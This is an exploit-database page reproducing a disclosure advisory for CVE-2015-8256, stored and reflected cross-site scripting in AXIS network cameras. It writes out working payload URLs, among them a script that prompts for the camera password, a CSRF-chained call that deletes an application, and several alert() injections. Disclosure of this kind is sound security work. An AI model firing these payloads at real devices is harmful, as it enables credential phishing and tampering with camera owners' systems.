Exploitalert - Database of Exploits

AXIS Network Camera Cross Site Scripting

CVE	Category	Price	Severity
CVE-2015-8256	CWE-20	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2017-03-18

CPE
cpe:cpe:/a:axis_network_camera

CVSS	EPSS	EPSSP
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	Low	C	There is some impact on confidentiality, but the attacker either does not gain control of any data, or the information obtained does not have a significant impact on the system or its operations.
Integrity	Low	I	Modification of data is possible, but the attacker does not have control over what can be modified, or the extent of what the attacker can affect is limited. The data modified does not have a direct, serious impact on the system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2017030164

AXIS Network Camera Cross Site ScriptingI. ADVISORY INFORMATION ----------------------- Title: Axis Network Cameras Multiple Cross-site scripting Vendor: Axis Communications Class: Improper Input Validation [CWE-20] CVE Name: CVE-2015-8256 Remotely Exploitable: Yes Locally Exploitable: No OLSA-ID: OLSA-2015-8256 vulnerability ------------- AXIS Network Cameras are prone to multiple (stored/reflected) cross-site scripting vulnerability. technical details ----------------- ** STORED XSS # 1 Attacker injects a javascript payload in the vulnerable page (using some social enginner aproach): http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script type="text/javascript>prompt("AXIS_PASSWORD:")</script> This will generate an error like this on page: " Error processing XML: Incorrect formatting line number 2, column 60: <error type = "No_such_application" message = "No application" '<script type="text/javascript>prompt("AXIS_PASSWORD:")</script>' ----------------------------------------------------------------^ " and also will create a entry in the genneral log file (/var/log/messages) with the JSPayload: " <INFO > Apr 11 10:08:45 axis-eac8c03d901 vaconfig.cgi: Could not find application '<script type="text/javascript>prompt("AXIS_PASSWORD:")</script>' " When the user is viewing the log 'system options' -> 'support' -> 'Logs & Reports': http://{axishost}/axis-cgi/admin/systemlog.cgi?id the JSPayload will be interpreted by the browser and the Javascript prompt method will be executed showing a prompt asking user for the password ('AXIS_PASSWORD'). * With this vector an attacker is able to perfome many attacks using javascript, for example to hook users browser, capture users cookie, performe pishing attacks etc. However, due to CSRF presented is even possible to perform all actions already presented: create, edit and remove users and applications, etc. For example, to delete an application "axis_update" via SXSS: http://{axishost}/axis-cgi/vaconfig.cgi?action=get&name=<script src="http:// axishost/axis-cgi/admin/local_del.cgi?+/usr/html/local/viewer/axis_update.shtml"></script> A reflected cross-site scripting affects all models of AXIS devices on the same parameter: http:// {axis-cam-model}/view/view.shtml?imagePath=0WLL</script><script>alert('AXIS-XSS')</script><!-- # Other Vectors http:// {axishost}/admin/config.shtml?group=%3Cscript%3Ealert%281%29%3C/script%3E http://{axishost}/view/custom_whiteBalance.shtml?imagePath=<img src="xs" onerror=alert(7) /><!-- http://{axishost}/admin-bin/editcgi.cgi?file=<script>alert(1)</script> http:// {axishost}/operator/recipient_test.shtml?protocol=%3Cscript%3Ealert%281%29%3C/script%3E http:// {axishost}/admin/showReport.shtml?content=alwaysmulti.sdp&pageTitle=axis</title></head><body><pre><script>alert(1)</script> # SCRIPTPATHS: {HTMLROOT}/showReport.shtml {HTMLROOT}/config.shtml {HTMLROOT}/incl/top_incl.shtml {HTMLROOT}/incl/popup_header.shtml {HTMLROOT}/incl/page_header.shtml {HTMLROOT}/incl/top_incl_popup.shtml {HTMLROOT}/viewAreas.shtml {HTMLROOT}/vmd.shtml {HTMLROOT}/custom_whiteBalance.shtml {HTMLROOT}/playWindow.shtml {HTMLROOT}/incl/ptz_incl.shtml {HTMLROOT}/view.shtml {HTMLROOT}/streampreview.shtml Impact ------ allows to run arbitrary code on a victim's browser and computer if combined with another flaws in the same devices. Affected products ----------------- Multiple Axis Network products. solution -------- It was not provided any solution to the problem. Credits ------- The vulnerability has been discovered by SmithW from OrwellLabs Legal Notices ----------------- The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. I accept no responsibility for any damage caused by the use or misuse of this information. About Orwelllabs ++++++++++++++++ doublethinking...

Impressum